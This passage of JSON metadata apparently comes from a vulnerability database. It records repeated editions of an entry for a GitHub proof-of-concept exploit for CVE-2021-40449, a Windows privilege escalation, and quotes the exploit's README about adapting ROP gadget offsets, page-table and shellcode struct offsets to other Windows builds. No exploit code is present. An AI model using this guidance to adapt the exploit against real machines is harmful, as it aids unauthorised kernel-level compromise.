["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T04:00:18", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T04:00:18", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T04:00:18", "differentElements": ["modified"], "edition": 7}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "e043e71d64848ff1d3ea118d65f57685", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T07:59:21", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T08:21:22", "history": [], "viewCount": 76, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T04:00:18", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T04:00:18", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T08:21:22", "differentElements": ["modified"], "edition": 8}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "de623fc40457d0734b1dbc73e75a5ed9", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T09:50:34", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T10:00:22", "history": [], "viewCount": 76, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T10:00:22", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T10:00:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T10:00:22", "differentElements": ["modified"], "edition": 9}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "033b847e219247e1c318a0766c299393", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T13:01:23", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T13:04:21", "history": [], "viewCount": 77, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T10:00:22", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T10:00:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T13:04:21", "differentElements": ["modified"], "edition": 10}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "471952b9eb35a850928e3845f9da17c8", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T15:52:31", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T16:00:14", "history": [], "viewCount": 78, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T10:00:22", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T10:00:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T16:00:14", "differentElements": ["modified"], "edition": 11}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "50a683d079084af59e7616aaf621cb86", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T17:06:12", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T19:24:11", "history": [], "viewCount": 78, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T10:00:22", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T10:00:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T19:24:11", "differentElements": ["modified"], "edition": 12}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "252d520483143f1934f2fbf0e79b1c14", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-10T00:56:18", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-10T01:00:13", "history": [], "viewCount": 81, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-09T10:00:22", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-09T10:00:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-10T01:00:13", "differentElements": ["modified"], "edition": 13}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "166478669d99f5ec0efba7aa50913437", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-10T02:00:52", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-10T04:00:02", "history": [], "viewCount": 85, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006672.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-10T04:00:02", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-10T04:00:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-10T04:00:02", "differentElements": ["modified"], "edition": 14}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "8f60c466033ac144a89f7aad71ddf938", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-10T12:28:44", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-10T13:00:23", "history": [], "viewCount": 86, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", 